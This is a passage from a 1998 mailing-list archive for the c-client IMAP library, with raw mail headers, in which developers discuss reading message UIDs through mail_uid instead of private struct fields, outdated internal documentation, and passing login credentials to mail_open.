11:18:25 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA13266 for ; Wed, 22 Jul 1998 11:18:23 -0700 Received: from thorin.cmc.net (thorin.cmc.net [206.102.31.253]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA01979 for ; Wed, 22 Jul 1998 11:18:21 -0700 Received: (from bem@localhost) by thorin.cmc.net (8.9.0.Beta3/8.7.3) id LAA07631 for c-client@cac.washington.edu; Wed, 22 Jul 1998 11:17:59 -0700 Message-Id: <19980722111758.F5249@cmc.net> Date: Wed, 22 Jul 1998 11:17:58 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: brian moore To: c-client Interest List Subject: elt and private.uid Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uptime: 11:08am up 64 days, 19:26, 3 users, load average: 1.17, 1.11, 1.13 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Okay, I'm hacking around with c-client and found something I can't figure out the intent of. >From internal.txt, the elt item seems to be the place I want to grab UID's from after a fetchstructure. It's listed with the same precedence as hours and answered and other useful things, and the intro paragraph says "Applications may use the following". But when I look at mail.h: typedef struct message_cache { struct { /* c-client internal use only */ unsigned long uid; /* message unique ID */ PARTTEXT special; /* special text pointers */ MESSAGE msg; /* internal message pointers */ unsigned int sequence : 1; /* saved sequence bit; */ } private; Am I not supposed to snarf the UID out of the elt directly? I know I -could- call mail_uid, but it seems weird that I can get things like recent flags and such straight from the elt and have to wrap reading the uid. Is reading from elt->private.uid a no-no as the 'private' name implies, or am I being paranoid? ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 22 11:45:50 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 11:45:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA11960 for ; Wed, 22 Jul 1998 11:45:49 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA02766; Wed, 22 Jul 1998 11:45:43 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id LAA23222; Wed, 22 Jul 1998 11:45:40 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id LAA57858 for ; Wed, 22 Jul 1998 11:44:29 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA05919 for ; Wed, 22 Jul 1998 11:44:28 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA17325 for ; Wed, 22 Jul 1998 11:44:26 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (scipio@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id LAA29471; Wed, 22 Jul 1998 11:44:23 -0700 Message-Id: Date: Wed, 22 Jul 1998 11:21:42 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: brian moore Cc: c-client Interest List Subject: re: elt and private.uid In-Reply-To: <19980722111758.F5249@cmc.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 22 Jul 1998 11:17:58 -0700, brian moore wrote: > Am I not supposed to snarf the UID out of the elt directly? I know I > -could- call mail_uid, but it seems weird that I can get things like > recent flags and such straight from the elt and have to wrap reading the > uid. Did you see the note about how you can't get flags and such from the elt unless you first call fetchfast or fetchstructure? > Is reading from elt->private.uid a no-no as the 'private' name > implies, or am I being paranoid? Yes, reading from elt->private.uid is a no-no. Don't do it. The same applies to the PARTTEXTs in BODY and MESSAGE. >From the Gospel According to c-client: Learneth thou, so that thy wisdom shall be celebrated across the land: 1) If c-client provides an access function, thou shalt *ALWAYS* use the access function, so that thy application shall be reliable and called wonderful. 2) Look thou not upon those things labelled "private" in MESSAGECACHE, nor spy upon PARTTEXTs in BODY and MESSAGE; for these are sacred and posseseth great magic known only to c-client. This magic is unstable and reactive, and only through the oracle of the c-client access functions may mortals achieve their goals unscathed. From pinedev@shivax2.cac.washington.edu Wed Jul 22 11:57:19 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 11:57:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id LAA14944 for ; Wed, 22 Jul 1998 11:57:18 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA17726; Wed, 22 Jul 1998 11:57:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id LAA23992; Wed, 22 Jul 1998 11:57:10 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id LAA62934 for ; Wed, 22 Jul 1998 11:55:47 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA17502 for ; Wed, 22 Jul 1998 11:55:44 -0700 Received: from thorin.cmc.net (thorin.cmc.net [206.102.31.253]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA17666 for ; Wed, 22 Jul 1998 11:55:39 -0700 Received: (from bem@localhost) by thorin.cmc.net (8.9.0.Beta3/8.7.3) id LAA08265 for c-client@CAC.Washington.EDU; Wed, 22 Jul 1998 11:55:16 -0700 Message-Id: <19980722115516.G5249@cmc.net> Date: Wed, 22 Jul 1998 11:55:16 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: brian moore To: c-client Interest List Subject: Re: elt and private.uid In-Reply-To: ; from Mark Crispin on Wed, Jul 22, 1998 at 11:21:42AM -0700 References: <19980722111758.F5249@cmc.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uptime: 11:51am up 64 days, 20:09, 3 users, load average: 1.09, 1.09, 1.08 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, Jul 22, 1998 at 11:21:42AM -0700, Mark Crispin wrote: > On Wed, 22 Jul 1998 11:17:58 -0700, brian moore wrote: > > Am I not supposed to snarf the UID out of the elt directly? I know I > > -could- call mail_uid, but it seems weird that I can get things like > > recent flags and such straight from the elt and have to wrap reading the > > uid. > > Did you see the note about how you can't get flags and such from the elt > unless you first call fetchfast or fetchstructure? Yep, a fetchstructure_full is right before that. > > Is reading from elt->private.uid a no-no as the 'private' name > > implies, or am I being paranoid? > > Yes, reading from elt->private.uid is a no-no. Don't do it. The same applies > to the PARTTEXTs in BODY and MESSAGE. Hrrm... internal.txt should yank the reference then. It does list uid as something clients can snarf out of elt. (Of course it's after 'FINAL' that I notice this, but that's the nature of documentation.) It's the contradiction in the docs and the .h's that baffled me. -- Brian Moore Kill A Spammer For Jesus Sysadmin, C/Perl Hacker, Usenet Vandal From pinedev@shivax2.cac.washington.edu Wed Jul 22 12:01:16 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 12:01:15 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA16568 for ; Wed, 22 Jul 1998 12:01:14 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA17827; Wed, 22 Jul 1998 12:01:10 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA24226; Wed, 22 Jul 1998 12:01:07 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id LAA35844 for ; Wed, 22 Jul 1998 11:59:55 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA17989 for ; Wed, 22 Jul 1998 11:59:54 -0700 Received: from afterfive.com (elmwood.afterfive.com [208.197.226.9]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id LAA17797 for ; Wed, 22 Jul 1998 11:59:51 -0700 Received: (from musone@localhost) by afterfive.com (8.8.8/8.7.3) id OAA07270; Wed, 22 Jul 1998 14:34:04 -0400 Message-Id: <199807221834.OAA07270@afterfive.com> Date: Wed, 22 Jul 1998 14:34:03 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Musone To: bem@cmc.net (brian moore) Cc: c-client@CAC.Washington.EDU Subject: Re: elt and private.uid In-Reply-To: <19980722111758.F5249@cmc.net> from "brian moore" at Jul 22, 98 11:17:58 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Well.. a few things, according to the internal.txt file: the MESSAGECACHE structure has unsigned long uid; message unique id. but i guess they changed the structure but didnt change the docs.. I wouldnt access the private part.. i looked in the pine sources...when in doubt my theory is see how pine does it :^).. and they never access private.uid either. they call mail_uid. so my non-professional opinion is to call mail_uid :^) it shouldnt be a big deal, in fact i think it's a good thing to do. actually i just looked at mail.c: unsigned long mail_uid (MAILSTREAM *stream,unsigned long msgno) { unsigned long uid = mail_elt (stream,msgno)->private.uid; return uid ? uid : (stream->dtb && stream->dtb->uid) ? (*stream->dtb->uid) (stream,msgno) : 0; } heh...but i still wouldn't access it directly..c-client does some wierd things.. Mark > > Am I not supposed to snarf the UID out of the elt directly? I know I > -could- call mail_uid, but it seems weird that I can get things like > recent flags and such straight from the elt and have to wrap reading the > uid. > > Is reading from elt->private.uid a no-no as the 'private' name > implies, or am I being paranoid? From pinedev@shivax2.cac.washington.edu Wed Jul 22 12:06:25 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 12:06:24 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA16542 for ; Wed, 22 Jul 1998 12:06:23 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA03462; Wed, 22 Jul 1998 12:06:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA24537; Wed, 22 Jul 1998 12:06:14 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA35926 for ; Wed, 22 Jul 1998 12:05:07 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA08253 for ; Wed, 22 Jul 1998 12:05:05 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA17945 for ; Wed, 22 Jul 1998 12:05:02 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (wambold@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA11819; Wed, 22 Jul 1998 12:04:57 -0700 Message-Id: Date: Wed, 22 Jul 1998 12:04:56 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: brian moore Cc: c-client Interest List Subject: Re: elt and private.uid In-Reply-To: <19980722115516.G5249@cmc.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 22 Jul 1998, brian moore wrote: > Hrrm... internal.txt should yank the reference then. It does list uid > as something clients can snarf out of elt. (Of course it's after > 'FINAL' that I notice this, but that's the nature of documentation.) It does not describe elt->private.uid; it describes elt->uid which also no longer exists. If you'll notice, internal.txt was last revised on August 19, 1996, and describes such functions as mail_lelt() which no longer exist. Would you care to provide funding to get it updated? From pinedev@shivax2.cac.washington.edu Wed Jul 22 12:14:43 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 12:14:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA16072 for ; Wed, 22 Jul 1998 12:14:41 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA18206; Wed, 22 Jul 1998 12:14:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA24999; Wed, 22 Jul 1998 12:14:28 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA16414 for ; Wed, 22 Jul 1998 12:13:18 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA17313 for ; Wed, 22 Jul 1998 12:13:18 -0700 Received: from afterfive.com (elmwood.afterfive.com [208.197.226.9]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA18171; Wed, 22 Jul 1998 12:13:13 -0700 Received: (from musone@localhost) by afterfive.com (8.8.8/8.7.3) id OAA07795; Wed, 22 Jul 1998 14:47:28 -0400 Message-Id: <199807221847.OAA07795@afterfive.com> Date: Wed, 22 Jul 1998 14:47:28 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Musone To: mrc@CAC.Washington.EDU (Mark Crispin) Cc: bem@cmc.net, c-client@CAC.Washington.EDU Subject: Re: elt and private.uid In-Reply-To: from "Mark Crispin" at Jul 22, 98 12:04:56 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'd be happy to provide man-hours to get it updated. Mark > > > Would you care to provide funding to get it updated? > From pinedev@shivax2.cac.washington.edu Wed Jul 22 12:26:26 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 12:26:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id MAA06479 for ; Wed, 22 Jul 1998 12:26:24 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA03905; Wed, 22 Jul 1998 12:26:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id MAA21460; Wed, 22 Jul 1998 12:26:12 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA19708 for ; Wed, 22 Jul 1998 12:25:02 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA01968 for ; Wed, 22 Jul 1998 12:25:00 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id MAA18490 for ; Wed, 22 Jul 1998 12:24:58 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (chince@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id MAA01151; Wed, 22 Jul 1998 12:24:50 -0700 Message-Id: Date: Wed, 22 Jul 1998 12:16:05 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Mark Musone Cc: bem@cmc.net, c-client@CAC.Washington.EDU Subject: Re: elt and private.uid In-Reply-To: <199807221847.OAA07795@afterfive.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 22 Jul 1998 14:47:28 -0400 (EDT), Mark Musone wrote: > I'd be happy to provide man-hours to get it updated. For the record, the "funding" comment was a joke. That'll teach me to omit smileys. [*chagrined*] As far as your volunteerism, why, thank you!! It is much appreciated. It took a tremendous amount of work to update it the last time and I was not looking forward to doing it again. I suggest that you start with the current file (it's just a flat text file) and mail.h. Start with deleting the stuff that no longer exists (e.g. mail_lelt()), and add in skeletons for the new stuff. You'll probably need to ask questions once you get into the new stuff, but there's a lot of plain old editing that you should be able to do on your own. There's probably a lot of clarifications that can be made in that document as well. Thanks again. It'll help a lot. From pinedev@shivax2.cac.washington.edu Wed Jul 22 16:53:23 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 16:53:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id QAA21768 for ; Wed, 22 Jul 1998 16:53:21 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.64.1]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id QAA10717; Wed, 22 Jul 1998 16:53:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id QAA07357; Wed, 22 Jul 1998 16:53:09 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id QAA62216 for ; Wed, 22 Jul 1998 16:51:28 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id QAA16164 for ; Wed, 22 Jul 1998 16:51:27 -0700 Received: from thorin.cmc.net (thorin.cmc.net [206.102.31.253]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id QAA25749 for ; Wed, 22 Jul 1998 16:51:25 -0700 Received: (from bem@localhost) by thorin.cmc.net (8.9.0.Beta3/8.7.3) id QAA13580 for c-client@cac.washington.edu; Wed, 22 Jul 1998 16:51:02 -0700 Message-Id: <19980722165059.E10071@cmc.net> Date: Wed, 22 Jul 1998 16:50:59 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: brian moore To: c-client Interest List Subject: Re: elt and private.uid In-Reply-To: ; from Mark Crispin on Wed, Jul 22, 1998 at 11:21:42AM -0700 References: <19980722111758.F5249@cmc.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Uptime: 4:44pm up 65 days, 1:03, 3 users, load average: 1.62, 1.39, 1.28 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, Jul 22, 1998 at 11:21:42AM -0700, Mark Crispin wrote: > >From the Gospel According to c-client: > Learneth thou, so that thy wisdom shall be celebrated across the land: > 1) If c-client provides an access function, thou shalt *ALWAYS* use > the access function, so that thy application shall be reliable and > called wonderful. Okay, for the 'wish list' then, since this would, IMHO, be a Good Thing for portability, a function to do the inverse of mail_uid would be nice. for ( item = 1; item <= imap_stream->nmsgs; item++ ) if (mail_uid(imap_stream,item) == uid) { break; } works, but it makes me sort of queasy with the caveat above. (And I'd steal it from Pine, but Pine doesn't make much use of UID's and I need them for disconnected operation.) > 2) Look thou not upon those things labelled "private" in MESSAGECACHE, > nor spy upon PARTTEXTs in BODY and MESSAGE; for these are sacred > and posseseth great magic known only to c-client. This magic is > unstable and reactive, and only through the oracle of the c-client > access functions may mortals achieve their goals unscathed. So I shouldn't mention /etc/imapd.conf? -- Brian Moore Kill A Spammer For Jesus Sysadmin, C/Perl Hacker, Usenet Vandal From pinedev@shivax2.cac.washington.edu Wed Jul 22 17:28:48 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 17:28:48 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id RAA22595 for ; Wed, 22 Jul 1998 17:28:47 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id RAA11610; Wed, 22 Jul 1998 17:28:42 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id RAA02527; Wed, 22 Jul 1998 17:28:38 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id RAA10300 for ; Wed, 22 Jul 1998 17:27:28 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id RAA17663 for ; Wed, 22 Jul 1998 17:27:27 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id RAA26741 for ; Wed, 22 Jul 1998 17:27:25 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gibb@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id RAA14084; Wed, 22 Jul 1998 17:27:21 -0700 Message-Id: Date: Wed, 22 Jul 1998 17:25:28 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: brian moore Cc: c-client Interest List Subject: Re: elt and private.uid In-Reply-To: <19980722165059.E10071@cmc.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, 22 Jul 1998 16:50:59 -0700, brian moore wrote: > Okay, for the 'wish list' then, since this would, IMHO, be a Good Thing > for portability, a function to do the inverse of mail_uid would be > nice. > > for ( item = 1; item <= imap_stream->nmsgs; item++ ) > if (mail_uid(imap_stream,item) == uid) { > break; > } > works, but it makes me sort of queasy with the caveat above. Have I got a deal for you!! mail_msgno() It's not in internal.txt (I said it's 2 years old), but it's in c-client. From pinedev@shivax2.cac.washington.edu Wed Jul 22 18:10:49 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 18:10:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id SAA22974 for ; Wed, 22 Jul 1998 18:10:48 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id SAA27490; Wed, 22 Jul 1998 18:10:44 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id SAA03913; Wed, 22 Jul 1998 18:10:40 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id SAA18796 for ; Wed, 22 Jul 1998 18:09:28 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id SAA20782 for ; Wed, 22 Jul 1998 18:09:27 -0700 Received: from callware.com (cwtape.callware.com [209.160.61.3]) by mx2.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id SAA12300 for ; Wed, 22 Jul 1998 18:09:25 -0700 Received: from CallWare-Message_Server by callware.com with Novell_GroupWise; Wed, 22 Jul 1998 19:08:37 -0600 Message-Id: Date: Wed, 22 Jul 1998 19:08:10 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Adam Bentley" To: c-client@CAC.Washington.EDU Subject: Passing in a mailboxname and password into Mail_Open() Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Is there an existing way to pass these things in to avoid calling mm_login()? =20 Bentley ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 22 18:59:47 1998 -0700 Return-Path: Received: via tmail-4.1(9) for mailarch+c-client; Wed, 22 Jul 1998 18:59:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW97.09) with ESMTP id SAA23574 for ; Wed, 22 Jul 1998 18:59:46 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id SAA28040; Wed, 22 Jul 1998 18:59:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with SMTP id SAA05004; Wed, 22 Jul 1998 18:59:35 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id SAA16500 for ; Wed, 22 Jul 1998 18:58:07 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id SAA07095 for ; Wed, 22 Jul 1998 18:58:07 -0700 Received: from mail.worldpass.net (mail.worldpass.net [38.179.94.25]) by mx1.cac.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id SAA28014 for ; Wed, 22 Jul 1998 18:58:04 -0700 Received: from itjfvkli (dialupB78.webcafe.net [38.179.166.102]) by mail.worldpass.net (8.9.0/8.9.0.Beta5) with SMTP id VAA28431 for ; Wed, 22 Jul 1998 21:57:36 -0400 Message-Id: <002a01bdb5e6$3f2d97a0$66a6b326@itjfvkli> Date: Wed, 22 Jul 1998 22:01:50 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Aleksandr Shvedov" To: Subject: Re: Passing in a mailboxname and password into Mail_Open() MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN What's so wrong with this mm_login call-back? I just switched off all gets and getpwds and that's all. Another way is to go deep into c-client's code, which is of 